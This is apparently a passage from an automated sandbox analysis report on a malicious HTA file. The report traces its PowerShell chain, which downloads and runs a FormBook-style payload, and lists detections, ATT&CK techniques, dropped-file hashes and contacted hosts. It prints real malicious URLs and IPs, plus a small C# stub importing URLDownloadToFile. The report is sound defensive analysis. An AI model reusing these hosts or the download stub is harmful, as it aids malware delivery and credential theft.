            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AE4E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,6_2_00AE4E87
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AF1E06 GetUserNameW,6_2_00AF1E06
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AE3F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,6_2_00AE3F3A
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AB49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,6_2_00AB49A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000007.00000002.2350161997.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2350750527.0000000003950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: winnit.exeBinary or memory string: WIN_81
            Source: winnit.exeBinary or memory string: WIN_XP
            Source: winnit.exeBinary or memory string: WIN_XPe
            Source: winnit.exeBinary or memory string: WIN_VISTA
            Source: winnit.exeBinary or memory string: WIN_7
            Source: winnit.exeBinary or memory string: WIN_8
            Source: winnit.exe.3.drBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

            Remote Access Functionality

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000007.00000002.2350161997.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2350750527.0000000003950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B26283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,6_2_00B26283
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B26747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,6_2_00B26747

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire Infrastructure2
            Valid Accounts            		1
            Native API            		1
            DLL Side-Loading            		1
            Exploitation for Privilege Escalation            		1
            Disable or Modify Tools            		21
            Input Capture            		2
            System Time Discovery            		Remote Services1
            Archive Collected Data            		12
            Ingress Tool Transfer            		Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault Accounts11
            Command and Scripting Interpreter            		2
            Valid Accounts            		1
            DLL Side-Loading            		1
            Deobfuscate/Decode Files or Information            		LSASS Memory1
            Account Discovery            		Remote Desktop Protocol1
            Email Collection            		1
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain Accounts3
            PowerShell            		Logon Script (Windows)2
            Valid Accounts            		2
            Obfuscated Files or Information            		Security Account Manager2
            File and Directory Discovery            		SMB/Windows Admin Shares21
            Input Capture            		1
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook21
            Access Token Manipulation            		1
            DLL Side-Loading            		NTDS127
            System Information Discovery            		Distributed Component Object Model3
            Clipboard Data            		21
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script212
            Process Injection            		1
            Masquerading            		LSA Secrets351
            Security Software Discovery            		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
            Valid Accounts            		Cached Domain Credentials31
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items31
            Virtualization/Sandbox Evasion            		DCSync3
            Process Discovery            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
            Access Token Manipulation            		Proc Filesystem11
            Application Window Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt212
            Process Injection            		/etc/passwd and /etc/shadow1
            System Owner/User Discovery            		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 signatures2 2 Behavior Graph ID: 1570657 Sample: seemejkiss.hta Startdate: 07/12/2024 Architecture: WINDOWS Score: 100 46 Suricata IDS alerts for network traffic 2->46 48 Antivirus detection for URL or domain 2->48 50 Multi AV Scanner detection for dropped file 2->50 52 8 other signatures 2->52 9 mshta.exe 1 2->9         started        process3 signatures4 62 Suspicious command line found 9->62 64 PowerShell case anomaly found 9->64 12 cmd.exe 1 9->12         started        process5 signatures6 66 Detected Cobalt Strike Beacon 12->66 68 Suspicious powershell command line found 12->68 70 PowerShell case anomaly found 12->70 15 powershell.exe 45 12->15         started        20 conhost.exe 12->20         started        process7 dnsIp8 40 107.175.113.196, 49706, 80 AS-COLOCROSSINGUS United States 15->40 32 C:\Users\user\AppData\Roaming\winnit.exe, PE32 15->32 dropped 34 C:\Users\user\AppData\Local\...\win[1].exe, PE32 15->34 dropped 36 C:\Users\user\AppData\...\5zyziwbf.cmdline, Unicode 15->36 dropped 42 Loading BitLocker PowerShell Module 15->42 44 Powershell drops PE file 15->44 22 winnit.exe 2 15->22         started        25 csc.exe 3 15->25         started        file9 signatures10 process11 file12 54 Multi AV Scanner detection for dropped file 22->54 56 Binary is likely a compiled AutoIt script file 22->56 58 Machine Learning detection for dropped file 22->58 60 4 other signatures 22->60 28 svchost.exe 22->28         started        38 C:\Users\user\AppData\Local\...\5zyziwbf.dll, PE32 25->38 dropped 30 cvtres.exe 1 25->30         started        signatures13 process14

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            seemejkiss.hta16%ReversingLabsScript-WScript.Trojan.Asthma

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\win[1].exe100%Joe Sandbox ML
            C:\Users\user\AppData\Roaming\winnit.exe100%Joe Sandbox ML
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\win[1].exe58%ReversingLabsWin32.Trojan.AutoitInject
            C:\Users\user\AppData\Roaming\winnit.exe58%ReversingLabsWin32.Trojan.AutoitInject

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            http://107.175.113.196/400/win.exeV0%Avira URL Cloudsafe
            http://107.175.113.196/400/win.e0%Avira URL Cloudsafe
            http://107.175.113.196/400/win.exe100%Avira URL Cloudmalware

            Domains and IPs

            Contacted Domains

            ⊘No contacted domains info

            Contacted URLs

            NameMaliciousAntivirus DetectionReputation
            http://107.175.113.196/400/win.exetrue
            • Avira URL Cloud: malware
            		unknown

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            http://nuget.org/NuGet.exepowershell.exe, 00000003.00000002.2182576683.000000000612A000.00000004.00000800.00020000.00000000.sdmpfalse
              		high
              https://aka.ms/winsvr-2022-pshelppowershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpfalse
                		high
                http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpfalse
                  		high
                  http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpfalse
                    		high
                    https://aka.ms/pscore6lBpowershell.exe, 00000003.00000002.2180711036.00000000050C1000.00000004.00000800.00020000.00000000.sdmpfalse
                      		high
                      http://107.175.113.196/400/win.exeVpowershell.exe, 00000003.00000002.2187215317.0000000008892000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpfalse
                        		high
                        http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          https://contoso.com/powershell.exe, 00000003.00000002.2182576683.000000000612A000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            https://nuget.org/nuget.exepowershell.exe, 00000003.00000002.2182576683.000000000612A000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              https://contoso.com/Licensepowershell.exe, 00000003.00000002.2182576683.000000000612A000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://contoso.com/Iconpowershell.exe, 00000003.00000002.2182576683.000000000612A000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://107.175.113.196/400/win.epowershell.exe, 00000003.00000002.2180711036.00000000054E4000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000003.00000002.2180711036.00000000050C1000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://github.com/Pester/Pesterpowershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high

                                      World Map of Contacted IPs

                                      • No. of IPs < 25%
                                      • 25% < No. of IPs < 50%
                                      • 50% < No. of IPs < 75%
                                      • 75% < No. of IPs

                                      Public IPs

                                      IPDomainCountryFlagASNASN NameMalicious
                                      107.175.113.196
                                      		unknownUnited States
                                      		36352AS-COLOCROSSINGUStrue

                                      General Information

                                      Joe Sandbox version:41.0.0 Charoite
                                      Analysis ID:1570657
                                      Start date and time:2024-12-07 15:46:41 +01:00
                                      Joe Sandbox product:CloudBasic
                                      Overall analysis duration:0h 7m 22s
                                      Hypervisor based Inspection enabled:false
                                      Report type:full
                                      Cookbook file name:default.jbs
                                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                      Number of analysed new started processes analysed:10
                                      Number of new started drivers analysed:0
                                      Number of existing processes analysed:0
                                      Number of existing drivers analysed:0
                                      Number of injected processes analysed:0
                                      Technologies:
                                      • HCA enabled
                                      • EGA enabled
                                      • AMSI enabled
                                      Analysis Mode:default
                                      Analysis stop reason:Timeout
                                      Sample name:seemejkiss.hta
                                      Detection:MAL
                                      Classification:mal100.phis.troj.expl.evad.winHTA@14/15@0/1
                                      EGA Information:
                                      • Successful, ratio: 75%
                                      HCA Information:
                                      • Successful, ratio: 98%
                                      • Number of executed functions: 59
                                      • Number of non-executed functions: 272
                                      Cookbook Comments:
                                      • Found application associated with file extension: .hta

                                      Warnings

                                      • Exclude process from analysis (whitelisted): WMIADAP.exe, SIHClient.exe
                                      • Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                      • Execution Graph export aborted for target mshta.exe, PID 5804 because there are no executed function
                                      • Not all processes where analyzed, report is missing behavior information
                                      • Report size exceeded maximum capacity and may have missing disassembly code.
                                      • Report size getting too big, too many NtCreateKey calls found.
                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                      • Report size getting too big, too many NtQueryAttributesFile calls found.
                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                      • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                      • VT rate limit hit for: seemejkiss.hta

                                      Simulations

                                      Behavior and APIs

                                      TimeTypeDescription
                                      09:47:40API Interceptor41x Sleep call for process: powershell.exe modified
                                      09:48:05API Interceptor3x Sleep call for process: svchost.exe modified

                                      Joe Sandbox View / Context

                                      IPs

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      107.175.113.196container payment.xlsGet hashmaliciousUnknownBrowse
                                      • 107.175.113.196/xampp/nc/keepthebesthingsentiretimewhichgivenmebesthignsinthewayof.hta
                                      container payment.xlsGet hashmaliciousUnknownBrowse
                                      • 107.175.113.196/xampp/nc/keepthebesthingsentiretimewhichgivenmebesthignsinthewayof.hta
                                      container payment.xlsGet hashmaliciousUnknownBrowse
                                      • 107.175.113.196/xampp/nc/keepthebesthingsentiretimewhichgivenmebesthignsinthewayof.hta

                                      Domains

                                      ⊘No context

                                      ASNs

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      AS-COLOCROSSINGUSseemybestdayguvenu.htaGet hashmaliciousCobalt Strike, FormBook, HTMLPhisherBrowse
                                      • 172.245.123.29
                                      k4PAIh16E6.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                      • 192.3.118.10
                                      scan_241205-801_draft_PO.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                      • 104.168.7.16
                                      Transferencia de pago.xlam.xlsxGet hashmaliciousAgentTeslaBrowse
                                      • 192.3.243.136
                                      LdSbZG1iH6.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                      • 192.3.64.152
                                      maybecreatebesthingswithgreatnicewhichgivenbreakingthingstobe.htaGet hashmaliciousCobalt Strike, FormBook, HTMLPhisherBrowse
                                      • 172.245.123.3
                                      Document.xla.xlsxGet hashmaliciousFormBook, HTMLPhisherBrowse
                                      • 107.172.44.175
                                      bestimylover.htaGet hashmaliciousCobalt Strike, FormBook, HTMLPhisherBrowse
                                      • 107.172.44.175
                                      nicpeoplesideasgivenforme.htaGet hashmaliciousCobalt Strike, HTMLPhisherBrowse
                                      • 198.46.178.192
                                      dgreatth.docGet hashmaliciousUnknownBrowse
                                      • 192.3.95.197

                                      JA3 Fingerprints

                                      ⊘No context

                                      Dropped Files

                                      ⊘No context

                                      Created / dropped Files

                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\win[1].exe

                                      Download File
                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):1213440
                                      Entropy (8bit):7.196631562868526
                                      Encrypted:false
                                      SSDEEP:24576:au6J33O0c+JY5UZ+XC0kGso6FazP6Qvmikfo2WY:su0c++OCvkGs9FazSQvfkfEY
                                      MD5:A97987DF137D1328F00AA6B81EBA4957
                                      SHA1:86D668C195909AE6A772B98EB59868D5B60D3195
                                      SHA-256:771CBB08F711A9AFB6EAA9846D0300C4828230B346FD41714B5B67A8B0BDCA62
                                      SHA-512:1E050E138C1255C76B1BE2035CC4FE68A1054693C027C1E569D80DE9326675B8E843E00E56A677435708913C0F2A8C4EA6A2217D8CC2DDCE030B3FBA6503E170
                                      Malicious:true
                                      Antivirus:
                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                      • Antivirus: ReversingLabs, Detection: 58%
                                      Reputation:low
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}.r}.r}.4,".p}.....s}../..A}../#..}../".G}.{.@.{}.{.P.W}.r}.R....)."}.....s}../..s}.r}T.s}.....s}.Richr}.................PE..L.....Pg.........."..................}............@..................................B....@...@.......@.....................L...|....p.......................p...q...+..............................pH..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc........p......................@..@.reloc...q...p...r..................@..B........................................................................................................................................................................................................................................................................................

                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                      Download File
                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1328
                                      Entropy (8bit):5.403946642126862
                                      Encrypted:false
                                      SSDEEP:24:3K2WSKco4KmBs4RPT6BmFoUebIKomjKcmZ9t7J0gt/NK3R8UHr8Htq:bWSU4y4RQmFoUeWmfmZ9tK8NWR8Wz
                                      MD5:BE0263F1A9334B6257580C52000B98C0
                                      SHA1:667C7881C40E5A0971A927A8229805B9A7460C85
                                      SHA-256:D6F1DEE9D55BC9E3DB9B222C32181C38602D63C0FEEE93709934880878FF33B0
                                      SHA-512:9A68674728A6CAC3FF303075385D8E2F63DBE1A3080BE8B21E7A0898DA448F299C70D6D0A73DB6DCBF364A36F8FAF80784C0F0C9A5F091948F6CB05E23386382
                                      Malicious:false
                                      Reputation:low
                                      Preview:@...e.................................,..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

                                      C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.0.cs

                                      Download File
                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (361)
                                      Category:dropped
                                      Size (bytes):483
                                      Entropy (8bit):3.9197915405630686
                                      Encrypted:false
                                      SSDEEP:6:V/DsYLDS81zuAHrygukPMmn/RQXReKJ8SRHy4Hd4lWvn5b/oi0Qy:V/DTLDfuAHmkmXfHp9joTQy
                                      MD5:D090B1939F86E8895BABE2930BE60273
                                      SHA1:425EB2BEB83C6CF9C7941163C4449E82A118D131
                                      SHA-256:AB5857CF3E0C941EC270C15A80BB45B305D014A7ADF15F1EFED23084DBC327F2
                                      SHA-512:78BD2D157F55029609311B8D7F1D5126DA33041C7FCEEB8CCBA64199D5FB3B44BB358235E326FC06123F0A9243A11FBBBCE423716CCD28FDC01BD90CC8461FED
                                      Malicious:false
                                      Preview:.using System;.using System.Runtime.InteropServices;..namespace wsAMKNbp.{. public class HfUHbfEKEB. {. [DllImport("UrlmoN", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr CCcbOVb,string vvBKRW,string pbMCfNtxp,uint CqPigTHBJ,IntPtr BtRfncu);.. }..}.

                                      C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline

                                      Download File
                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
                                      Category:dropped
                                      Size (bytes):371
                                      Entropy (8bit):5.242307038044083
                                      Encrypted:false
                                      SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2923fASHizxs7+AEszI923fASHJyAn:p37Lvkmb6Kzo/WZE2owyA
                                      MD5:CC7EFB33E377031F1E562CA063AE4566
                                      SHA1:4E5E76E7D48AEFA0CF4DAA1682B8A0B097A5ED69
                                      SHA-256:EFB9DE329459E268C29D45672CFC1ACB3CB9FAAD785A13B7914B39AB63BE9D92
                                      SHA-512:92F0D4B46D649F39AD53E7A36639311BFA6A5E6E7BFE5AAAF65C167B1D1B515E14F46C82BD354F43B5DFAB08A6374A075853D8FAF3E6D9E1B6529D2E91C8E73F
                                      Malicious:true
                                      Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.0.cs"

                                      C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.dll

                                      Download File
                                      Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                      Category:dropped
                                      Size (bytes):3072
                                      Entropy (8bit):2.871739546474508
                                      Encrypted:false
                                      SSDEEP:24:etGS5p2YYnl8emWkrzMtBttkZfWjd8cq4lWI+ycuZhNWTakSJ8PNnq:6SY8+emPzMtBoJWjdTqF1ulWTa3Jsq
                                      MD5:F8154F9CB34DD5811F361BC147AF080B
                                      SHA1:644E57EA3D5D96133F396A95F56756B857506A6B
                                      SHA-256:743FEBAC1F40AECD006E7F4BA789E3BFABD7130EBB84D2A8EC4B7E0F04EB322E
                                      SHA-512:9E90249370471742E7825F345B673ECECB604B510DC10C4469229499B1ED35A9419123626C0D51B3813EE9A6AC7370EBBBAD42C61886E4B2AC4E870FD77B704F
                                      Malicious:true
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....{Tg...........!.................#... ...@....... ....................................@.................................h#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~......(...#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................;.4.......................................".............. B.....P ......T.........Z.....b.....i.....s.....}...T.....T...!.T.....T.......!.....*.......B.......................................+..........<Module>.5z

                                      C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.out

                                      Download File
                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (449), with CRLF, CR line terminators
                                      Category:modified
                                      Size (bytes):870
                                      Entropy (8bit):5.321518427554718
                                      Encrypted:false
                                      SSDEEP:24:KMoqd3ka6Kzo8E2o51Kax5DqBVKVrdFAMBJTH:doika6apE2K1K2DcVKdBJj
                                      MD5:59F01C7222AFE58FBAE760EAAE8D9FC0
                                      SHA1:F52CD8C5B984A2B376CF7334CF6887332D8954BB
                                      SHA-256:DC597DBECF53831425A7C398412E9ADA2FA9051718610DB9894E28B2A48B316D
                                      SHA-512:6B1681283B119EC2EBC5F9AF69D0274526B77E981C32766D337FE76146F6BCDEBDB0D9364B1B7E6A92F1220419360C5E7BED6B9FE180249114680E322F93A22F
                                      Malicious:false
                                      Preview:.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                      C:\Users\user\AppData\Local\Temp\5zyziwbf\CSCADB73B4CC47C40A8804A92B1B0BD1E62.TMP

                                      Download File
                                      Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                      File Type:MSVC .res
                                      Category:dropped
                                      Size (bytes):652
                                      Entropy (8bit):3.1131735529739997
                                      Encrypted:false
                                      SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryYTak7YnqqJ8PN5Dlq5J:+RI+ycuZhNWTakSJ8PNnqX
                                      MD5:39C2CE165A11D737ADF94365445425F1
                                      SHA1:644C991C26D33761B37FAC8BC63D7B1022F3CF2F
                                      SHA-256:368E1FB316BB07AC5AB9A5F295DA7E9E93866207C2ECB497CF77FFD3C940F425
                                      SHA-512:F0318641A1FB1E0851B5DED9CC45BDF5962DECB0820621AF1C4DB4665314ED85EDEC4D6A33DA8C230B50974D76224546E9C7D5F4F44A0FCC8DF0B43C71915148
                                      Malicious:false
